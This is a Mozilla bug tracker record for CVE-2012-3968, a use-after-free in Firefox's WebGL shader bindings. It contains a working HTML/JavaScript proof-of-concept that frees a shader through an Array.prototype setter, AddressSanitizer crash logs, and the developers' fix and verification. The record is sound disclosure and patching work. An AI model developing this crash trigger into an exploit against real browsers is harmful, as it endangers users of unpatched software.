Closed Bug 775852 (CVE-2012-3968) Opened 8 years ago Closed 8 years ago

use after free, webgl fragment shader deleted by accessor

Categories

(Core :: DOM: Core & HTML, defect)

x86
macOS
defect
Not set

Tracking

()

RESOLVED FIXED
mozilla17
Tracking Status
firefox14 --- unaffected
firefox15 + verified
firefox16 + verified
firefox17 + verified
firefox-esr10 --- unaffected

People

(Reporter: miaubiz, Assigned: bzbarsky)

References

Details

(Keywords: csectype-uaf, regression, sec-critical, Whiteboard: [asan][advisory-tracking+])

Attachments

(9 files, 1 obsolete file)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11

Steps to reproduce:

loaded the following file:


<html>
  <head>
  </head>
  <body>
    <canvas id="cx"></canvas>
    <script>
      function gc() {
        function gcRec(n) {
          if (n < 1)
          return {}
          var temp = {i: "ab" + i + (i / 100000)}
          temp += "foo"
          gcRec(n-1)
        }
        for (var i = 0; i < 1000; i++) {
          gcRec(10)
        }
      }
      context = cx.getContext("moz-webgl")
      program = context.createProgram()

      shader1 = context.createShader(context.VERTEX_SHADER)
      context.attachShader(program, shader1)

      Array.prototype.__defineSetter__(0, function() {
        context.detachShader(program, shader2)
        context.deleteShader(shader2)
        shader2 = null
        gc()
      })

      for (var i = 0; i < 30; ++i) {
        shader2 = context.createShader(context.FRAGMENT_SHADER)
        context.attachShader(program, shader2)

        shaders = context.getAttachedShaders(program)
        console.dir(shaders[1])
      }
    </script>
  </body>
</html>



Actual results:

firefox crashed.


exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000111e82a60:access_type=exec:access_address=0x0000000111e82a60:

exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000108a99700:access_type=exec:access_address=0x0000000108a99700:


==1901== ERROR: AddressSanitizer heap-use-after-free on address 0x00012c1ac080 at pc 0x10519470a bp 0x7fff5fbf6490 sp 0x7fff5fbf6488
READ of size 8 at 0x00012c1ac080 thread T0
    #0 0x10519470a in unsigned int CallQueryInterface<nsISupports, nsWrapperCache>(nsISupports*, nsWrapperCache**) (in XUL) + 170
    #1 0x106c2cfbf in bool mozilla::dom::WrapObject<mozilla::WebGLShader>(JSContext*, JSObject*, mozilla::WebGLShader*, nsWrapperCache*, nsID const*, JS::Value*) (in XUL) + 175


0x00012c1ac080 is located 0 bytes inside of 144-byte region [0x00012c1ac080,0x00012c1ac110)
freed by thread T0 here:
    #0 0x10000d095 in (anonymous namespace)::mz_free(_malloc_zone_t*, void*) (in firefox) + 85
    #1 0x10000cb10 in wrap_free (in firefox) + 80
    #2 0x10519e522 in mozilla::WebGLShader::Release() (in XUL) + 290
Attached file asan log osx
Attached file asan log linux
happens to me on osx and linux. didn't test windows. aurora seems affected, stable does not.
Attachment #644186 - Attachment description: shaders2.html → shaders2.html (May crash you)
Attachment #644186 - Attachment mime type: text/plain → text/html
In a non-asan opt build I didn't crash using Aurora on Mac or Windows, but the stack traces sure do look like something nuked the shader out from under us.
Component: Untriaged → Canvas: WebGL
Product: Firefox → Core
Whiteboard: [asan]
This is a use-after-free during a QI to nsWrapperCache.
I can't reproduce any error here on linux x86-64 in valgrind.

Comment 10 strongly suggests an issue relating to the recent port to new DOM bindings: bug 748266.

 -> CCing Boris
mlaubiz: it would be nice if you could use "experimental-webgl" instead of "moz-webgl" for WebGL context creation. This way, your testcases could run in other browsers and would keep running longer into the future in Firefox.
Any chance of more stack for the READ bit?  And for that matter on the Release bit?

Any idea which lines of the JS those correspond to?
(In reply to Daniel Veditz [:dveditz] from comment #9)
> In a non-asan opt build I didn't crash using Aurora on Mac or Windows, but
> the stack traces sure do look like something nuked the shader out from under
> us.

The testcase explicitly calls webgl.deleteShader which does free its resources. Code should check if (shader->IsDeleted()) to avoid this pitfall. Apparently we have some code that should check that and doesn't.

Looking at call stacks...
Boris: this call stack, https://bug775852.bugzilla.mozilla.org/attachment.cgi?id=644187&t=CVYBHPjKYU , shows we're crashing in getAttachedShaders.
So my understanding is that the webgl impl code is fine, it just returns the existing array of attached shaders, however, in the DOM bindings, when we wrap that as a JS object, we do some work that doesn't like the fact that some of the shaders being wrapped is in webgl deleted state.
Could you please explain exactly what 

  Array.prototype.__defineSetter__(0, function() { ...

does?
That's the key to the whole thing, thanks.

What that does is that when the binding code is creating the array for the return value of getAttachedShaders, setting the first item of the array calls deleteShader on the second shader in the list.

I'll poke a little bit at WebIDL to figure out what the right fix is.
Spec for creating JS reflections of sequences says:

  Call the [[DefineOwnProperty]] internal method on A with property name P, descriptor 
  { [[Writable]]: true, [[Enumerable]]: true, [[Configurable]]: true, [[Value]]: E }
  and Boolean flag false.

In terms of JSAPI that becames a JS_SetElement with a value, null getter and setter, and the flag JSPROP_ENUMERATE.  This should avoid invoking anything to do with the prototype, so will fix this bug by simply not running that setter function.
The good news is we haven't shipped this in a final release yet.  ;)

And by the way, very nice testcase!
Blocks: 748266
Status: UNCONFIRMED → NEW
Component: Canvas: WebGL → DOM
Ever confirmed: true
Assignee: nobody → bzbarsky
I think this test is safe to land with the patch, for what it's worth.  But I'm willing to listen to counterarguments.
Attachment #646008 - Flags: review?(khuey)
Attachment #646014 - Flags: review?(khuey)
Attachment #646008 - Attachment is obsolete: true
Attachment #646008 - Flags: review?(khuey)
Whiteboard: [asan] → [need review][asan]
Comment on attachment 646014 [details] [diff] [review]
And with the test file

Review of attachment 646014 [details] [diff] [review]:
-----------------------------------------------------------------

Does JS_DefineProperty not run setters?  The docs don't make that clear ...

Nice testcase.  I think it's safe to check in the test with the fix.
Attachment #646014 - Flags: review?(khuey) → review+
> Does JS_DefineProperty not run setters?

Correct.  It reconfigures the property to a new getter/setter/value (if the property is configurable), and hence ignores whatever was there before.
http://hg.mozilla.org/integration/mozilla-inbound/rev/69f121d8a62e
Flags: in-testsuite+
Whiteboard: [need review][asan] → [asan]
Target Milestone: --- → mozilla17
Comment on attachment 646463 [details] [diff] [review]
Same thing, for aurora and beta

[Approval Request Comment]
Bug caused by (feature/regressing bug #): Bug 748266 
User impact if declined: Calling virtual methods on deleted objects.
   Probably means exploitability.
Testing completed (on m-c, etc.): Passes attached test.
Risk to taking this patch (and alternatives if risky): Risk is very low.  This
  switches us to follow the spec more closely and no one should have been relying
  on the old behavior in any sane way.  The alternative is to flip off the new
  bindings for the WebGL context, which is much more risky.
String or UUID changes made by this patch: None.
Attachment #646463 - Flags: approval-mozilla-beta?
Attachment #646463 - Flags: approval-mozilla-aurora?
https://hg.mozilla.org/mozilla-central/rev/69f121d8a62e
Status: NEW → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Comment on attachment 646463 [details] [diff] [review]
Same thing, for aurora and beta

[Triage Comment]
Low risk, sg:crit fix for a FF15 regression. Let's land on branches.
Attachment #646463 - Flags: approval-mozilla-beta?
Attachment #646463 - Flags: approval-mozilla-beta+
Attachment #646463 - Flags: approval-mozilla-aurora?
Attachment #646463 - Flags: approval-mozilla-aurora+
This is causing OS X 10.5 M2 failures on aurora+beta:
{
633 ERROR TEST-UNEXPECTED-FAIL | /tests/dom/bindings/test/test_sequence_wrapping.html | an unexpected uncaught JS exception reported through window.onerror - NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMHTMLCanvasElement.getContext] at http://mochi.test:8888/tests/dom/bindings/test/test_sequence_wrapping.html:22
}

(Bear in mind trunk doesn't run 10.5 any more, which I guess is why this hasn't been seen there)

I haven't backed out, since a fairly narrow scope failure, so happy for you to fix in place or whatever you prefer :-)
Hrm.  That's failing because 10.5 has no webgl support.  Let me look into how to condition the whole test off in cases when there's no webgl.
(In reply to Boris Zbarsky (:bz) [In and out Aug 1 - 10, out Aug 11-20] from comment #34)
> to deal with cases when WebGL is disabled.  Thank you for the heads-up and
> for not backing it out!

Np :-)
Whiteboard: [asan] → [asan][advisory-tracking+]
Alias: CVE-2012-3968
Group: core-security
Keywords: csec-uaf
I've tested this on:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20100101 Firefox/16.0 beta 4 and also on
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20100101 Firefox/15.0.1 release

Both builds didn't crashed using the test case provided.

Just to make sure, I've used the same test case from the attachment using the Nightly build from 2012-07-26 and it's crashing, so this is fixed.

Setting the flag to Verified on Firefox 15 and 16
Verified the fix on 
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/17.0 Firefox/17.0 - beta1: no crash occurred.
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.